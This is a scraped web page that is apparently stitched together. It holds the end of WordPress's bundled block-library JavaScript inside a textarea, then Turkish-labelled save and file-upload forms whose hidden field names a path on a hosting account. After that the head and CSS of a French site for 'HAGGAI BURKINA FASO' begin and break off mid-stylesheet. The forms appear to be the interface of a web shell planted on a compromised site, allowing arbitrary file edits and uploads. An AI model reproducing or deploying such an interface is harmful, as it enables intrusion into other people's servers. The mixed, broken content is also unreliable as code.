            while (rootClientId &amp;&amp; getBlockName(rootClientId) !== POST_CONTENT_BLOCK_NAME) {
              rootClientId = getBlockRootClientId(rootClientId);
            }
            fnBlock = (0, import_blocks127.createBlock)(&quot;core/footnotes&quot;);
            insertBlock(fnBlock, void 0, rootClientId);
          }
          selectionChange(fnBlock.clientId, id, 0, 0);
        });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime548.jsx)(
        import_block_editor294.RichTextToolbarButton,
        {
          icon: format_list_numbered_default,
          title: (0, import_i18n272.__)(&quot;Footnote&quot;),
          onClick,
          isActive: isObjectActive
        }
      );
    }
  };

  // packages/block-library/build-module/footnotes/index.mjs
  var { name: name122 } = block_default121;
  var settings121 = {
    icon: format_list_numbered_default,
    edit: FootnotesEdit
  };
  var init121 = () =&gt; {
    (0, import_rich_text7.registerFormatType)(formatName, format2);
    initBlock({ name: name122, metadata: block_default121, settings: settings121 });
  };

  // packages/block-library/build-module/utils/is-block-metadata-experimental.mjs
  function isBlockMetadataExperimental(metadata) {
    return metadata &amp;&amp; &quot;__experimental&quot; in metadata &amp;&amp; metadata.__experimental !== false;
  }

  // packages/block-library/build-module/block-keyboard-shortcuts/index.mjs
  var import_element144 = __toESM(require_element(), 1);
  var import_data169 = __toESM(require_data(), 1);
  var import_keyboard_shortcuts = __toESM(require_keyboard_shortcuts(), 1);
  var import_i18n273 = __toESM(require_i18n(), 1);
  var import_blocks128 = __toESM(require_blocks(), 1);
  var import_block_editor295 = __toESM(require_block_editor(), 1);
  function BlockKeyboardShortcuts() {
    const { registerShortcut } = (0, import_data169.useDispatch)(import_keyboard_shortcuts.store);
    const { replaceBlocks } = (0, import_data169.useDispatch)(import_block_editor295.store);
    const { getBlockName, getSelectedBlockClientId, getBlockAttributes: getBlockAttributes4 } = (0, import_data169.useSelect)(import_block_editor295.store);
    const handleTransformHeadingAndParagraph = (event, level) =&gt; {
      event.preventDefault();
      const currentClientId = getSelectedBlockClientId();
      if (currentClientId === null) {
        return;
      }
      const blockName = getBlockName(currentClientId);
      const isParagraph = blockName === &quot;core/paragraph&quot;;
      const isHeading = blockName === &quot;core/heading&quot;;
      if (!isParagraph &amp;&amp; !isHeading) {
        return;
      }
      const destinationBlockName = level === 0 ? &quot;core/paragraph&quot; : &quot;core/heading&quot;;
      const attributes2 = getBlockAttributes4(currentClientId);
      if (isParagraph &amp;&amp; level === 0 || isHeading &amp;&amp; attributes2.level === level) {
        return;
      }
      const newAttributes = {
        content: attributes2.content
      };
      const sourceTextAlign = attributes2.textAlign || attributes2.style?.typography?.textAlign;
      if (destinationBlockName === &quot;core/heading&quot;) {
        newAttributes.level = level;
      }
      if (sourceTextAlign) {
        newAttributes.style = {
          typography: {
            textAlign: sourceTextAlign
          }
        };
      }
      replaceBlocks(
        currentClientId,
        (0, import_blocks128.createBlock)(destinationBlockName, newAttributes)
      );
    };
    (0, import_element144.useEffect)(() =&gt; {
      registerShortcut({
        name: &quot;core/block-editor/transform-heading-to-paragraph&quot;,
        category: &quot;block-library&quot;,
        description: (0, import_i18n273.__)(&quot;Transform heading to paragraph.&quot;),
        keyCombination: {
          modifier: &quot;access&quot;,
          character: &quot;0&quot;
        },
        aliases: [
          {
            modifier: &quot;access&quot;,
            character: &quot;7&quot;
          }
        ]
      });
      [1, 2, 3, 4, 5, 6].forEach((level) =&gt; {
        registerShortcut({
          name: `core/block-editor/transform-paragraph-to-heading-${level}`,
          category: &quot;block-library&quot;,
          description: (0, import_i18n273.__)(&quot;Transform paragraph to heading.&quot;),
          keyCombination: {
            modifier: &quot;access&quot;,
            character: `${level}`
          }
        });
      });
    }, [registerShortcut]);
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-heading-to-paragraph&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 0)
    );
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-paragraph-to-heading-1&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 1)
    );
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-paragraph-to-heading-2&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 2)
    );
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-paragraph-to-heading-3&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 3)
    );
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-paragraph-to-heading-4&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 4)
    );
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-paragraph-to-heading-5&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 5)
    );
    (0, import_keyboard_shortcuts.useShortcut)(
      &quot;core/block-editor/transform-paragraph-to-heading-6&quot;,
      (event) =&gt; handleTransformHeadingAndParagraph(event, 6)
    );
    return null;
  }
  var block_keyboard_shortcuts_default = BlockKeyboardShortcuts;

  // packages/block-library/build-module/private-apis.mjs
  var privateApis3 = {};
  lock(privateApis3, {
    BlockKeyboardShortcuts: block_keyboard_shortcuts_default,
    NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
  });

  // packages/block-library/build-module/index.mjs
  var import_jsx_runtime549 = __toESM(require_jsx_runtime(), 1);
  var getAllBlocks = () =&gt; {
    const blocks = [
      // Common blocks are grouped at the top to prioritize their display
      // in various contexts — like the inserter and auto-complete components.
      paragraph_exports,
      image_exports,
      heading_exports,
      gallery_exports,
      list_exports,
      list_item_exports,
      quote_exports,
      // Register all remaining core blocks.
      accordion_exports,
      accordion_item_exports,
      accordion_heading_exports,
      accordion_panel_exports,
      archives_exports,
      audio_exports,
      button_exports,
      buttons_exports,
      calendar_exports,
      categories_exports,
      code_exports,
      column_exports,
      columns_exports,
      comment_author_avatar_exports,
      cover_exports,
      details_exports,
      embed_exports,
      file_exports,
      group_exports,
      html_exports,
      math_exports,
      latest_comments_exports,
      latest_posts_exports,
      media_text_exports,
      missing_exports,
      more_exports,
      nextpage_exports,
      page_list_exports,
      page_list_item_exports,
      pattern_exports,
      preformatted_exports,
      pullquote_exports,
      block_exports,
      rss_exports,
      search_exports,
      separator_exports,
      shortcode_exports,
      social_link_exports,
      social_links_exports,
      spacer_exports,
      table_exports,
      tag_cloud_exports,
      text_columns_exports,
      verse_exports,
      video_exports,
      footnotes_exports,
      // theme blocks
      navigation_exports,
      navigation_link_exports,
      navigation_submenu_exports,
      site_logo_exports,
      site_title_exports,
      site_tagline_exports,
      query_exports,
      template_part_exports,
      avatar_exports,
      post_title_exports,
      post_excerpt_exports,
      post_featured_image_exports,
      post_content_exports,
      post_author_exports,
      post_author_name_exports,
      post_comment_exports,
      post_comments_count_exports,
      post_comments_link_exports,
      post_date_exports,
      post_terms_exports,
      post_navigation_link_exports,
      post_template_exports,
      post_time_to_read_exports,
      query_pagination_exports,
      query_pagination_next_exports,
      query_pagination_numbers_exports,
      query_pagination_previous_exports,
      query_no_results_exports,
      query_total_exports,
      read_more_exports,
      comments_exports,
      comment_author_name_exports,
      comment_content_exports,
      comment_date_exports,
      comment_edit_link_exports,
      comment_reply_link_exports,
      comment_template_exports,
      comments_title_exports,
      comments_pagination_exports,
      comments_pagination_next_exports,
      comments_pagination_numbers_exports,
      comments_pagination_previous_exports,
      post_comments_form_exports,
      table_of_contents_exports,
      home_link_exports,
      icon_exports,
      loginout_exports,
      navigation_overlay_close_exports,
      term_count_exports,
      term_description_exports,
      term_name_exports,
      terms_query_exports,
      term_template_exports,
      query_title_exports,
      post_author_biography_exports,
      breadcrumbs_exports
    ];
    if (window?.__experimentalEnableFormBlocks) {
      blocks.push(form_exports);
      blocks.push(form_input_exports);
      blocks.push(form_submit_button_exports);
      blocks.push(form_submission_notification_exports);
    }
    if (window?.__experimentalEnableBlockExperiments) {
      blocks.push(tab_exports);
      blocks.push(tabs_exports);
      blocks.push(tabs_menu_exports);
      blocks.push(tabs_menu_item_exports);
      blocks.push(tab_panel_exports);
      blocks.push(playlist_exports);
      blocks.push(playlist_track_exports);
    }
    if (window?.wp?.oldEditor &amp;&amp; (window?.wp?.needsClassicBlock || !window?.__experimentalDisableTinymce || !!new URLSearchParams(window?.location?.search).get(
      &quot;requiresTinymce&quot;
    ))) {
      blocks.push(freeform_exports);
    }
    return blocks.filter(Boolean);
  };
  var __experimentalGetCoreBlocks = () =&gt; getAllBlocks().filter(
    ({ metadata }) =&gt; !isBlockMetadataExperimental(metadata)
  );
  var registerCoreBlocks = (blocks = __experimentalGetCoreBlocks()) =&gt; {
    blocks.forEach(({ init: init122 }) =&gt; init122());
    if (window.__unstableAutoRegisterBlocks) {
      window.__unstableAutoRegisterBlocks.forEach((blockName) =&gt; {
        const bootstrappedBlockType = unlock(
          (0, import_data170.select)(import_blocks129.store)
        ).getBootstrappedBlockType(blockName);
        (0, import_blocks129.registerBlockType)(blockName, {
          // Use all metadata from PHP registration,
          // but fall back title to block name if not provided,
          // ensure minimum apiVersion 3 for block wrapper support,
          // and override with a ServerSideRender-based edit function.
          ...bootstrappedBlockType,
          title: bootstrappedBlockType?.title || blockName,
          ...(bootstrappedBlockType?.apiVersion ?? 0) &lt; 3 &amp;&amp; {
            apiVersion: 3
          },
          // Inspector controls are rendered by the auto-register hook in block-editor
          edit: function Edit25({ attributes: attributes2 }) {
            const disabledRef = (0, import_compose61.useDisabled)();
            const blockProps = (0, import_block_editor296.useBlockProps)({ ref: disabledRef });
            const { content, status, error } = (0, import_server_side_render7.useServerSideRender)({
              block: blockName,
              attributes: attributes2
            });
            if (status === &quot;loading&quot;) {
              return /* @__PURE__ */ (0, import_jsx_runtime549.jsx)(&quot;div&quot;, { ...blockProps, children: (0, import_i18n274.__)(&quot;Loading\u2026&quot;) });
            }
            if (status === &quot;error&quot;) {
              return /* @__PURE__ */ (0, import_jsx_runtime549.jsx)(&quot;div&quot;, { ...blockProps, children: (0, import_i18n274.sprintf)(
                /* translators: %s: error message describing the problem */
                (0, import_i18n274.__)(&quot;Error loading block: %s&quot;),
                error
              ) });
            }
            return /* @__PURE__ */ (0, import_jsx_runtime549.jsx)(
              html_renderer_default,
              {
                wrapperProps: blockProps,
                html: content
              }
            );
          },
          save: () =&gt; null
        });
      });
    }
    (0, import_blocks129.setDefaultBlockName)(name63);
    if (window.wp &amp;&amp; window.wp.oldEditor &amp;&amp; blocks.some(({ name: name510 }) =&gt; name510 === name13)) {
      (0, import_blocks129.setFreeformContentHandlerName)(name13);
    }
    (0, import_blocks129.setUnregisteredTypeHandlerName)(name52);
    (0, import_blocks129.setGroupingBlockName)(name39);
  };
  var __experimentalRegisterExperimentalCoreBlocks = false ? ({ enableFSEBlocks } = {}) =&gt; {
    const enabledExperiments = [enableFSEBlocks ? &quot;fse&quot; : null];
    getAllBlocks().filter(
      ({ metadata }) =&gt; isBlockMetadataExperimental(metadata)
    ).filter(
      ({ metadata: { __experimental } }) =&gt; __experimental === true || enabledExperiments.includes(__experimental)
    ).forEach(({ init: init122 }) =&gt; init122());
  } : void 0;
  return __toCommonJS(index_exports);
})();
/*! Bundled license information:

fast-average-color/dist/index.esm.js:
  (*! Fast Average Color | © 2022 Denis Seleznev | MIT License | https://github.com/fast-average-color/fast-average-color *)
*/
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-includes/js/dist/block-library.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>About Us | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d19310c55c*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light 